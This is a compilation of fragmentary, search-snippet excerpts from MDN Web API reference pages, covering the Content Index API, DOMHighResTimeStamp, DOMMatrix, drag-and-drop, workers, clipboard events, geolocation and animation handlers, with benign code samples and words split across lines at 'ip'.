...rence registration const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) return; // unregister content from index await registration.index.delete(article.id); } all the above methods are available within the scope of the service worker. they are accessible from the workerglobalscope.self property: // service worker scr
ipt self.registration.index.add(item); self.registration.index.delete(item.id); const contentindexitems = self.registration.index.getall(); contentdelete event when an item is removed from the user agent interface, a contentdelete event is received by the service worker. self.addeventlistener('contentdelete', (event) => { console.log(event.id); // logs content index id, which can then be...
DOMHighResTimeStamp - Web APIs
er is larger. properties this type has no properties. it is a double-precision floating-point value. value the value of a domhighrestimestamp is a double-precision floating-point number which describes the number of milliseconds (accurate to within 5 microseconds if the device supports it) elapsed between two points in time. ...
...mber of milliseconds (accurate to within 5 microseconds if the device supports it) elapsed between two points in time. the starting time can be either a specific time determined by the scr
ipt for a site or app, or the time origin. the time origin the time origin is a standard time which is considered to be the beginning of the current document's lifetime. it's calculated like this: if the scr
ipt's global object is a window, the time origin is determined as follows: if the current document is the first one loaded in the window, the time origin is the time at which the browser context was created. if during the process of unloading the previous document which was loaded in the window, a confirmation dialog was displayed to let the user confirm whether or not to leave the previous...
...confirmation dialog was displayed to let the user confirm whether or not to leave the previous page, the time origin is the time at which the user confirmed that navigating to the new page was acceptable. if neither of the above determines the time origin, then the time origin is the time at which the navigation responsible for creating the window's current document took place. if the scr
ipt's global object is a workerglobalscope (that is, the scr
ipt is running as a web worker), the time origin is the moment at which the worker was created. in all other cases, the time origin is undefined. methods this type has no methods. usage notes you can get the current timestamp value--the time that has elapsed since the context was created--by calling the performance method now(). this ...
DOMMatrixReadOnly - Web APIs
ions. these are aliases for specific components of a 4x4 matrix, as shown below. 2d 3d equivalent a m11 b m12 c m21 d m22 e m41 f m42 methods this interface doesn't inherit any methods. none of the following methods alter the original matrix. dommatrixreadonly.fl
ipx() returns a new dommatrix created by fl
ipping the source matrix around its x-axis. this is equivalent to mult
iplying the matrix by dommatrix(-1, 0, 0, 1, 0, 0). the original matrix is not modified. dommatrixreadonly.fl
ipy() returns a new dommatrix created by fl
ipping the source matrix around its y-axis. this is equivalent to mult
iplying the matrix by dommatrix(1, 0, 0, -1, 0, 0). the origin...
...these have the default value of 1. ...
...eturns a new dommatrix created by inverting the source matrix. if the matrix cannot be inverted, the new matrix's components are all set to nan and its is2d property is set to false. the original matrix is not altered. dommatrixreadonly.mult
iply() returns a new dommatrix created by computing the dot product of the source matrix and the specified matrix: a?b. if no matrix is specified as the mult
iplier, the matrix is mult
iplied by a matrix in which every element is 0 except the bottom-right corner and the element immediately above and to its left: m33 and m34. these have the default value of 1. the original matrix is not modified. dommatrixreadonly.rotateaxisangle() returns a new dommatrix created by rotating the source matrix by the given angle around the specified vector. the original m...
DataTransfer.effectAllowed - Web APIs
the datatransfer.effectallowed property specifies the effect that is allowed for a drag operation. the copy operation is used to indicate that the data being dragged will be copied from its present location to the drop location. the move operation is used to indicate that the data being dragged will be moved, and the link operation is used to indicate that some form of relationsh
ip or connection will be created between the source and drop locations. this property should be set in the dragstart event to set the desired drag effect for the drag source. within the dragenter and dragover event handlers, this property will be set to whatever value was assigned during the dragstart event, thus effectallowed may be used to determine which effect is permitted. assigning a value to effectallowed i...
...le this example shows the use of the effectallowed and dropeffect properties. ...
...add the moved element to the target's dom var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover: dropeffect = " + ev.datatransfer.dropeffect + " ; effectallowed = " + ev.datatransfer.effectallowed); ev.preventdefault(); // set the dropeffect to move ev.datatransfer.dropeffect = "move" } </scr
ipt> <body> <h1>examples <code>datatransfer</code>.{<code>dropeffect</code>, <code>effectallowed</code>} properties</h1> <div> <p id="source" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event)...
DedicatedWorkerGlobalScope.onmessage - Web APIs
the onmessage property of the dedicatedworkerglobalscope interface represents an eventhandler to be called when the message event occurs and bubbles through the worker -- i.e. when a message is sent to the worker using the worker.postmessage method. syntax self.onmessage = function() { ... }; example the following code sn
ippet shows creation of a worker object using the worker() constructor. messages are passed to the worker when the value inside the form input first changes. a worker.onmessage handler is also present, to deal with messages are passed back from the worker. var myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.tex...
...er.onmessage handler is also present, to deal with messages are passed back from the worker. ...
...r myworker = new worker("worker.js"); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); } in the worker.js scr
ipt, a dedicatedworkerglobalscope.onmessage handler is used to handle messages from the main scr
ipt: onmessage = function(e) { console.log('message received from main scr
ipt'); var workerresult = 'result: ' + (e.data[0] * e.data[1]); console.log('posting message back to main scr
ipt'); postmessage(workerresult); } notice how in the main scr
ipt, onmessage has to be called on myworker, whereas inside the worker scr
ipt you just need onmessage because the worker is effectively the global ...
DedicatedWorkerGlobalScope - Web APIs
see also: functions available to workers. ...
...s from the workerglobalscope interface, and its parent eventtarget, and therefore implements methods from windowtimers, windowbase64, and windoweventhandlers. dedicatedworkerglobalscope.close() discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope. ...
...) discards any tasks queued in the workerglobalscope's event loop, effectively closing this particular scope. dedicatedworkerglobalscope.postmessage() sends a message -- which can consist of any javascr
ipt object -- to the parent document that first spawned the worker. inherited from workerglobalscope workerglobalscope.dump() writes a message to the console. workerglobalscope.importscr
ipts() imports one or more scr
ipts into the worker's scope. you can specify as many as you'd like, separated by commas. for example: importscr
ipts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding. windowbase64.btoa() creates a base-64 encoded ascii string from a string of binary data. windowtimers.
DirectoryReaderSync - Web APIs
reach any substantial traction. basic concepts before you call the only method in this interface, readentries(), create the directoryentrysync object. but directoryentrysync (as well as fileentrysync) is not a data type that you can pass between a calling app and web worker thread. ...
... // taking care of the browser-specific prefixes. ...
... } }; method overview entrysync readentries () raises (fileexception); method readentries() returns a lost of entries from a specific directory. call this method until an empty array is returned. entrysync readentries ( ) raises (fileexception); returns parameter none exceptions this method can raise a fileexception with the following codes: exception descr
iption not_found_err the directory does not exist. invalid_state_err the directory has been modified since the first call to readentries was processed. security_err the browser determined that it was not safe to look up the metadata. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribut...
Document: DOMContentLoaded event - Web APIs
d subframes to finish loading. bubbles yes cancelable yes (although specified as a simple event that isn't cancelable) interface event event handler property none a different event, load, should be used only to detect a fully-loaded page. it is a common mistake to use load where domcontentloaded would be more appropriate. synchronous javascr
ipt pauses parsing of the dom. if you want the dom to get parsed as fast as possible after the user has requested the page, you can make your javascr
ipt asynchronous and optimize loading of stylesheets. if loaded as usual, stylesheets slow down dom parsing as they're loaded in parallel, "stealing" traffic from the main html document. examples basic usage document.addeventlistener('domcontentloade...
...requested the page, you can make your javascr
ipt asynchronous and optimize loading of stylesheets. if loaded as usual, stylesheets slow down dom parsing as they're loaded in parallel, "stealing" traffic from the main html document. examples basic usage document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <scr
ipt> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous scr
ipt is going to delay parsing of the dom, // so the domcontentloaded event is going to launch later. ...
...loaded', (event) => { console.log('dom fully loaded and parsed'); }); delaying domcontentloaded <scr
ipt> document.addeventlistener('domcontentloaded', (event) => { console.log('dom fully loaded and parsed'); }); for( let i = 0; i < 1000000000; i++) {} // this synchronous scr
ipt is going to delay parsing of the dom, // so the domcontentloaded event is going to launch later. </scr
ipt> checking whether loading is already complete domcontentloaded may fire before your scr
ipt has a chance to run, so it is wise to check before adding a listener. function dosomething() { console.info('dom loaded'); } if (document.readystate === 'loading') { // loading hasn't finished yet document.addeventlistener('domcontentloaded', dosomething); } else { // `domcontentloaded` has alre...
Document.evaluate() - Web APIs
in the above document.body has been used as the context instead of document so the xpath starts from the body element. (in this example, the "." is important to indicate that the querying should start from the context node, document.body. if the "." was left out (leaving //h2) the query would start from the root node (html) which would be more wasteful.) see introduction to using xpath in javascr
ipt for more information. notes xpath expressions can be evaluated on html and xml documents. while using document.evaluate() works in ff2, in ff3 one must use somexmldoc.evaluate() if evaluating against something other than the current document. result types (merge with template:xpathresultconstants? these are supported values for the resulttype parameter of the evaluate method: ...
...s xpath expressions can be evaluated on html and xml documents. while using document.evaluate() works in ff2, in ff3 one must use somexmldoc.evaluate() if evaluating against something other than the current document. result types (merge with template:xpathresultconstants? these are supported values for the resulttype parameter of the evaluate method: result type value descr
iption any_type 0 whatever type naturally results from the given expression. number_type 1 a result set containing a single number. useful, for example, in an xpath expression using the count() function. string_type 2 a result set containing a single string. boolean_type 3 a result set containing a single boolean value. useful, for example,...
... full support 4.2samsung internet android full support 1.0legend full support full support no support no support see also document.createexpression() xpathresult xpath code sn
ippets check for browser support ...
Document.getElementsByTagNameNS() - Web APIs
ild elements matching the tag name parameter. note that when the node on which getelementsbytagname is invoked is not the document node, in fact the element.getelementsbytagnamens method is used. to use the following example, just copy/paste it into a new file saved with the .xhtml extension. ...
...the tag name parameter. note that when the node on which getelementsbytagname is invoked is not the document node, in fact the element.getelementsbytagnamens method is used. to use the following example, just copy/paste it into a new file saved with the .xhtml extension. ...
...www.w3.org/1999/xhtml", "p"); var num = div1paras.length; alert("there are " + num + " <p> elements in div1 element"); } function div2paraelems() { var div2 = document.getelementbyid("div2") var div2paras = div2.getelementsbytagnamens("http://www.w3.org/1999/xhtml", "p"); var num = div2paras.length; alert("there are " + num + " <p> elements in div2 element"); } </scr
ipt> </head> <body style="border: solid green 3px"> <p>some outer text</p> <p>some outer text</p> <div id="div1" style="border: solid blue 3px"> <p>some div1 text</p> <p>some div1 text</p> <p>some div1 text</p> <div id="div2" style="border: solid red 3px"> <p>some div2 text</p> <p>some div2 text</p> </div> </div> <p>some outer text</p> <p>some outer text</p> <but...
Document.querySelectorAll() - Web APIs
de mixin's queryselectorall() method. syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. mult
iple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascr
ipt also uses backslash escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing on...
...erty is 0), then no matches were found. otherwise, you can simply use standard array notation to access the contents of the list. ...
...torall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0! in this example, when selecting .outer .inner in the context the <div> with the class select, the element with the class .inner is still found, even though .outer is not a descendant of the base element on which the search is performed (.select). by default, queryse...
How to create a DOM tree - Web APIs
it applies to all gecko-based applications (such as firefox) both in privileged (extensions) and unprivileged (web pages) code. ...
... ...
...erializer (without having to first convert to a string), posted to a web server (via xmlhttprequest), transformed using xslt, xlink, converted to a javascr
ipt object through a jxon algorithm, etc. you can use dom trees to model data which isn't well-suited for rdf (or perhaps you just don't like rdf). another application is that, since xul is xml, the ui of your application can be dynamically man
ipulated, downloaded, uploaded, saved, loaded, converted, or transformed quite easily. ...
DynamicsCompressorNode() - Web APIs
syntax var dynamicscompressornode = new dynamicscompressornode(context, options) parameters context a reference to an audiocontext. options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. ...
... syntax var dynamicscompressornode = new dynamicscompressornode(context, options) parameters context a reference to an audiocontext. options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. ...
... syntax var dynamicscompressornode = new dynamicscompressornode(context, options) parameters context a reference to an audiocontext. options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. ...
Element.attributes - Web APIs
document.getelementsbytagname("p")[0]; var atts = para.attributes; enumerating elements attributes numerical indexing is useful for going through all of an element's attributes. the following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value. ...
...tagname("p")[0]; var atts = para.attributes; enumerating elements attributes numerical indexing is useful for going through all of an element's attributes. the following example runs through the attribute nodes for the element in the document with id "paragraph", and prints each attribute's value. ...
... // first, let's verify that the paragraph has some attributes if (paragraph.hasattributes()) { var attrs = paragraph.attributes; var output = ""; for(var i = attrs.length - 1; i >= 0; i--) { output += attrs[i].name + "->" + attrs[i].value; } result.value = output; } else { result.value = "no attributes to show"; } } </scr
ipt> </head> <body> <p id="paragraph" style="color: green;">sample paragraph</p> <form action=""> <p> <input type="button" value="show first attribute name and value" onclick="listattributes();"> <input id="result" type="text" value=""> </p> </form> </body> </html> specifications specification status comment domthe definition of 'element.attribute...
Element: cut event - Web APIs
the cut event is fired when the user has initiated a "cut" action through the browser's user interface. if the user attempts a cut action on uneditable content, the cut event still fires but the event object contains no data. bubbles yes cancelable yes interface cl
ipboardevent event handler property oncut the event's default action is to copy the current selection (if any) to the system cl
ipboard and remove it from the document. a handler for this event can modify the cl
ipboard contents by calling setdata(format, data) on the event's cl
ipboardevent.cl
ipboarddata property, and cancelling the default action using event.preventdefault(). note though that cancelling the default action will also prevent the document from being updated. s...
...andler for this event can modify the cl
ipboard contents by calling setdata(format, data) on the event's cl
ipboardevent.cl
ipboarddata property, and cancelling the default action using event.preventdefault(). note though that cancelling the default action will also prevent the document from being updated. so an event handler which wants to emulate the default action for "cut" while modifying the cl
ipboard must also manually remove the selection from the document. the handler cannot read the cl
ipboard data. it's possible to construct and dispatch a synthetic cut event, but this will not affect the system cl
ipboard or the document's contents. examples live example html <div class="source" contenteditable="true">try cutting text from this box...</div> <div class="target" contenteditable="t...
...div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const source = document.queryselector('div.source'); source.addeventlistener('cut', (event) => { const selection = document.getselection(); event.cl
ipboarddata.setdata('text/plain', selection.tostring().touppercase()); selection.deletefromdocument(); event.preventdefault(); }); result specifications specification status cl
ipboard api and events working draft ...
Element.getAttributeNS() - Web APIs
ld return null for non-existent attributes. examples the following svg document reads the value of the foo attribute in a custom namespace. <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="hello namespaced attribute!"/> <scr
ipt type="text/javascr
ipt"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log( 'attribute test:foo: "' + circle.getattributens( ns, 'foo' ) + '"' ); </scr
ipt> </svg> in an html5 document the attribute has to be accessed with test:foo since namespaces are not supported. <!doctype html> <html> <body> <svg xmlns="http://www.w3.
...html5 documents have to use getattribute() instead. ...
...n an html5 document the attribute has to be accessed with test:foo since namespaces are not supported. <!doctype html> <html> <body> <svg xmlns="http://www.w3.org/2000/svg" xmlns:test="http://www.example.com/2014/test" width="40" height="40"> <circle id="target" cx="12" cy="12" r="10" stroke="#444" stroke-width="2" fill="none" test:foo="foo value"/> </svg> <scr
ipt type="text/javascr
ipt"> var ns = 'http://www.example.com/2014/test'; var circle = document.getelementbyid( 'target' ); console.log('attribute value: ' + circle.getattribute('test:foo')); </scr
ipt> </body> </html> notes namespaces are only supported in xml documents. html5 documents have to use getattribute() instead. getattributens() differs from getattribute() in that it allows you to further specify the r...
Element.localName - Web APIs
in previous dom specifications this api was defined within the node interface. syntax name = element.localname return value a domstring representing the local part of the element's qualified name. ...
...ns this api was defined within the node interface. syntax name = element.localname return value a domstring representing the local part of the element's qualified name. ...
...qualified names are typically used...
Element.name - Web APIs
, a form and with the form elements collection. when used with a form or elements collection, it may return a single element or a collection. ...
...form elements collection. when used with a form or elements collection, it may return a single element or a collection. ...
... ...
Element: paste event - Web APIs
the paste event is fired when the user has initiated a "paste" action through the browser's user interface. bubbles yes cancelable yes interface cl
ipboardevent event handler property onpaste if the cursor is in an editable context (for example, in a <textarea> or an element with contenteditable attribute set to true) then the default action is to insert the contents of the cl
ipboard into the document at the cursor position. a handler for this event can access the cl
ipboard contents by calling getdata() on the event's cl
ipboarddata property. ...
... it's possible to construct and dispatch a synthetic paste event, but this will not affect the document's contents. ...
... copying text from this box...</div> <div class="target" contenteditable="true">...and pasting it into this one</div> css div.source, div.target { border: 1px solid gray; margin: .5rem; padding: .5rem; height: 1rem; background-color: #e9eef1; } js const target = document.queryselector('div.target'); target.addeventlistener('paste', (event) => { let paste = (event.cl
ipboarddata || window.cl
ipboarddata).getdata('text'); paste = paste.touppercase(); const selection = window.getselection(); if (!selection.rangecount) return false; selection.deletefromdocument(); selection.getrangeat(0).insertnode(document.createtextnode(paste)); event.preventdefault(); }); result specifications specification status cl
ipboard...
Element.querySelectorAll() - Web APIs
de mixin's queryselectorall() method. syntax elementlist = parentnode.queryselectorall(selectors); parameters selectors a domstring containing one or more selectors to match against. this string must be a valid css selector string; if it's not, a syntaxerror exception is thrown. see locating dom elements using selectors for more information about using selectors to identify elements. mult
iple selectors may be specified by separating them using commas. note: characters which are not part of standard css syntax must be escaped using a backslash character. since javascr
ipt also uses backspace escaping, special care must be taken when writing string literals using these characters. see escaping special characters for more information. return value a non-live nodelist containing on...
...such as: var highlighteditems = userlist.queryselectorall(".highlighted"); highlighteditems.foreach(function(useritem) { deleteuser(useritem); }); note: nodelist is not a genuine array, that is to say it doesn't have the array methods like slice, some, map etc. to convert it into an array, try array.from(nodelist). ...
...e array methods like slice, some, map etc. to convert it into an array, try array.from(nodelist). user notes queryselectorall() behaves differently than most common javascr
ipt dom libraries, which might lead to unexpected results. html consider this html, with its three nested <div> blocks. <div class="outer"> <div class="select"> <div class="inner"> </div> </div> </div> javascr
ipt var select = document.queryselector('.select'); var inner = select.queryselectorall('.outer .inner'); inner.length; // 1, not 0! in this example, when selecting ".outer .inner" in the context the <div> with the class "select", the element with the class ".inner" is still found, even though .outer is not a descendant of the base element on which the search is performed (".select"). by default,...
Element.scrollWidth - Web APIs
round the value to an integer. if you need a fractional value, use element.getboundingclientrect(). syntax var xscrollwidth = element.scrollwidth; xscrollwidth is the width of the content of element in pixels. ...
... } button { margin-bottom: 2em; } </style> </head> <body> <div id="adiv"> foobar-foobar-foobar-foobar </div> <button id="abutton"> check for overflow </button> <div id="anotherdiv"> foobar-foobar-foobar-foobar </div> <button id="anotherbutton"> check for overflow </button> </body> <scr
ipt> var buttonone = document.getelementbyid('abutton'), buttontwo = document.getelementbyid('anotherbutton'), divone = document.getelementbyid('adiv'), divtwo = document.getelementbyid('anotherdiv'); //check to determine if an overflow is happening function isoverflowing(element) { return (element.scrollwidth > element.offsetwidth); } function alertoverflow...
... working draft initial definition ...
Element.setCapture() - Web APIs
fire at descendants of this element. example in this example, the current mouse coordinates are drawn while you mouse around after clicking and holding down on an element. ...
...f this element. example in this example, the current mouse coordinates are drawn while you mouse around after clicking and holding down on an element. ...
... specification based on internet explorer's ...
Comparison of Event Targets - Web APIs
ing (may contain anonymous targets)</td> </tr> </thead> <tr> <td id="target"></td> <td id="currenttarget"></td> <td id="relatedtarget"></td> <td id="explicitoriginaltarget"></td> <td id="originaltarget"></td> </tr> </table> <p>clicking on the text will show the difference between explicitoriginaltarget, originaltarget, and target</p> <scr
ipt> function handleclicks(e) { document.getelementbyid('target').innerhtml = e.target; document.getelementbyid('currenttarget').innerhtml = e.currenttarget; document.getelementbyid('relatedtarget').innerhtml = e.relatedtarget; document.getelementbyid('explicitoriginaltarget').innerhtml = e.explicitoriginaltarget; document.getelementbyid('originaltarget').
...for the mouseout event, it holds the node that the mouse moved to. event type event.target event.relatedtarget mouseover the eventtarget which the pointing device entered the eventtarget which the pointing device e...
...the mouseout event, it holds the node that the mouse moved to. event type event.target event.relatedtarget mouseover the eventtarget which the pointing device entered the eventtarget which the pointing device exited mouseout the eventtarget which the pointing device exited the eventtarget which the pointing device entered todo: also needs descr
iptions for dragenter and dragexit events. example <hbox id="outer"> <hbox id="inner" onmouseover="dump('mouseover ' + event.relatedtarget.id + ' > ' + event.target.id + '\n');" onmouseout="dump('mouseout ' + event.target.id + ' > ' + event.relatedtarget.id + '\n');" style="margin: 100px; border: 10px solid black; width: 100px; height: 100px;" /> </hbox> ...
Event.preventDefault() - Web APIs
once. as noted below, calling preventdefault() for a non-cancelable event, such as one dispatched via eventtarget.dispatchevent(), without specifying cancelable: true has no effect. syntax event.preventdefault(); examples blocking default click handling toggling a checkbox is the default action of clicking on a checkbox. ...
...first, listen for keypress events: var mytextbox = document.getelementbyid('my-textbox'); mytextbox.addeventlistener('keypress', checkname, false); the checkname() function, which looks at the pressed key and decides whether to allow it: function checkname(evt) { var charcode = evt.charcode; if (charcode != 0) { if (charcode < 97 || ...
... your name using lowercase letters only.</p> <form> <input type="text" id="my-textbox"> </form> </div> css we use a little bit of css for the warning box we'll draw when the user presses an invalid key: .warning { border: 2px solid #f39389; border-radius: 2px; padding: 10px; position: absolute; background-color: #fbd8d4; color: #3b3c40; } javascr
ipt and here's the javascr
ipt code that does the job. first, listen for keypress events: var mytextbox = document.getelementbyid('my-textbox'); mytextbox.addeventlistener('keypress', checkname, false); the checkname() function, which looks at the pressed key and decides whether to allow it: function checkname(evt) { var charcode = evt.charcode; if (charcode != 0) { if (charcode < 97 || charcode > 122) { evt...
ExtendableEvent - Web APIs
lifetime of the install and activate events dispatched on the global scope as part of the service worker lifecycle. this ensures that any functional events (like fetchevent) are not dispatched until it upgrades database schemas and deletes the outdated cache entries. if waituntil() is called outside of the extendableevent handler, the browser should throw an invalidstateerror; note also that mult
iple calls will stack up, and the resulting promises will be added to the list of extend lifetime promises. note: the behaviour described in the above paragraph was fixed in firefox 43 (see bug 1180274.) this interface inherits from the event interface. <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 8.571428571428571%; vertical-alig...
...t object. properties doesn't implement any specific properties, but inherits properties from its parent, event. methods inherits methods from its parent, event. extendableevent.waituntil() extends the lifetime of the event. it is intended to be called in the install eventhandler for the installing worker and on the activate eventhandler for the active worker. examples this code sn
ippet is from the service worker prefetch sample (see prefetch example live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall, delaying treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully. the promise resolves when all resources have been fetched and cached, or else when any exception occurs. the code ...
...t is from the service worker prefetch sample (see prefetch example live.) the code calls extendableevent.waituntil() in serviceworkerglobalscope.oninstall, delaying treating the serviceworkerregistration.installing worker as installed until the passed promise resolves successfully. the promise resolves when all resources have been fetched and cached, or else when any exception occurs. the code sn
ippet also shows a best practice for versioning caches used by the service worker. though there's only one cache in this example, the same approach can be used for mult
iple caches. it maps a shorthand identifier for a cache to a specific, versioned cache name. note: in chrome, logging statements are visible via the "inspect" interface for the relevant service worker accessed via chrome://servicewo...
Using the Geolocation API - Web APIs
set the maximum age of the position returned, the time to wait for a request, and if you want high accuracy for the position. note: by default, getcurrentposition() tries to answer as fast as possible with a low accuracy result. it is useful if you need a quick answer regardless of the accuracy. devices with a gps, for example, can take a minute or more to get a gps fix, so less accurate data (
ip location or wifi) may be returned to getcurrentposition(). navigator.geolocation.getcurrentposition((position) => { dosomething(position.coords.latitude, position.coords.longitude); }); the above example will cause the dosomething() function to execute when the location is obtained. watching the current position if the position data changes (either by device movement or if more accurate ge...
...hen the location is obtained. watching the current position if the position data changes (either by device movement or if more accurate geo information arrives), you can set up a callback function that is called with that updated position information. this is done using the watchposition() function, which has the same input parameters as getcurrentposition(). the callback function is called mult
iple times, allowing the browser to either update your location as you move, or provide a more accurate location as different techniques are used to geolocate you. the error callback function, which is optional just as it is for getcurrentposition(), can be called repeatedly. note: you can use watchposition() without an initial getcurrentposition() call. const watchid = navigator.geolocation.wat...
...location api is used to retrieve the user's latitude and longitude. if sucessful, the available hyperlink is populated with an openstreetmap.org url that will show their location. ...
GlobalEventHandlers.onanimationend - Web APIs
the box to migrate from the top-left corner of the container to the bottom-right corner. .slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascr
ipt code to do that. we'll get to that shortly. javascr
ipt content before we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. function log(msg, event) { ...
... result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationend' in t...
...x").classname = "slideanimation"; event.target.style.display = "none"; }, false); this sets the class of the box we want to animate to the class that contains the animation descr
iption, then hides the play button because this example will only run the animation once. for information about why, and how to support running an animation more than once, see run an animation again in css animations t
ips and tricks. result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationend' in that specification. working draft ...
GlobalEventHandlers.onanimationstart - Web APIs
the box to migrate from the top-left corner of the container to the bottom-right corner. .slideanimation { animation: 5s ease-in-out 0s 1 slidebox; } @keyframes slidebox { from { left:0; top:0; } to { left:calc(100% - var(--boxwidth)); top:calc(100% - var(--boxwidth)) } } since the css describes the animation but doesn't connect it to the box, we'll need some javascr
ipt code to do that. we'll get to that shortly. javascr
ipt content before we get to the animation code, we define a function which logs information to a box on the user's screen. we'll use this to show information about the events we receive. note the use of animationevent.animationname and animationevent.elapsedtime to get information about the event which occurred. function log(msg, event) { ...
... result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationstart' in...
...x").classname = "slideanimation"; event.target.style.display = "none"; }, false); this sets the class of the box we want to animate to the class that contains the animation descr
iption, then hides the play button because this example will only run the animation once. for information about why, and how to support running an animation more than once, see run an animation again in css animations t
ips and tricks. result assembled together, you get this: specification specification status comment css animationsthe definition of 'onanimationstart' in that specification. working draft ...
GlobalEventHandlers.onkeypress - Web APIs
s been deprecated. you may want to use onkeydown instead. syntax target.onkeypress = functionref; value functionref is a function name or a function expression. the function receives a keyboardevent object as its sole argument. examples basic example this example logs the keyboardevent.code value whenever you press a key inside the <input> element. ...
...log"></p> javascr
ipt const input = document.queryselector('input'); const log = document.getelementbyid('log'); input.onkeypress = logkey; function logkey(e) { log.textcontent += ` ${e.code}`; } result filter keys with a regular expression this example filters the characters typed into a form field using a regular expression. ...
... /* type the word "exit" in any point of your page... ...
GlobalEventHandlers.onload - Web APIs
ents on a window, xmlhttprequest, <img> element, etc. the load event fires when a given resource has loaded. syntax target.onload = functionref; value functionref is the handler function to be called when the window's load event fires. ...
...target.onload = functionref; value functionref is the handler function to be called when the window's load event fires. examples window.onload = function() { init(); dosomethingelse(); }; <!doctype html> <html> <head> <title>onload test</title> // es5 <scr
ipt> function load() { console.log("load event detected!"); } window.onload = load; </scr
ipt> // es2015 <scr
ipt> const load = () => { console.log("load event detected!"); } window.onload = load; </scr
ipt> </head> <body> <p>the load event fires when the document has finished loading!</p> </body> </html> notes the load event fires at the end of the document loading process. at this point, all of the objects in the document are in the dom,...
... there are also dom events like domcontentloaded and domframecontentloaded (which can be handled using eventtarget.addeventlistener()) which are fired after the dom for the page has been constructed, but do not wait for other resources to finish loading. ...
HTMLAnchorElement - Web APIs
the htmlanchorelement interface represents hyperlink elements and provides special properties and methods (beyond those of the regular htmlelement object interface that they inherit from) for man
ipulating the layout and presentation of such elements. this interface corresponds to <a> element; not to be confused with <link>, which is represented by htmllinkelement) <div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2...
...the referenced url. htmlhyperlinkelementutils.protocol is a usvstring representing the protocol component, including trailing colon (':'), of the referenced url. htmlanchorelement.referrerpolicy is a domstring that reflects the referrerpolicy html attribute indicating which referrer to use. htmlanchorelement.rel is a domstring that reflects the rel html attribute, specifying the relationsh
ip of the target object to the linked object. htmlanchorelement.rellist read only returns a domtokenlist that reflects the rel html attribute, as a list of tokens. htmlhyperlinkelementutils.search is a usvstring representing the search element, including leading question mark ('?'), if any, of the referenced url. htmlelement.tabindex is a long containing the position of the element in the tab...
...olete properties htmlanchorelement.charset is a domstring representing the character encoding of the linked resource. htmlanchorelement.coords is a domstring representing a comma-separated list of coordinates. htmlanchorelement.name is a domstring representing the anchor name. htmlanchorelement.rev is a domstring representing that the rev html attribute, specifying the relationsh
ip of the link object to the target object. note: currently the w3c html 5.2 spec states that rev is no longer obsolete, whereas the whatwg living standard still has it labeled obsolete. until this discrepancy is resolved, you should still assume it is obsolete. htmlanchorelement.shape is a domstring representing the shape of the active area. methods inherits methods from its parent, htmle...
HTMLAreaElement - Web APIs
the htmlareaelement interface provides special properties and methods (beyond those of the regular object htmlelement interface it also has available to it by inheritance) for man
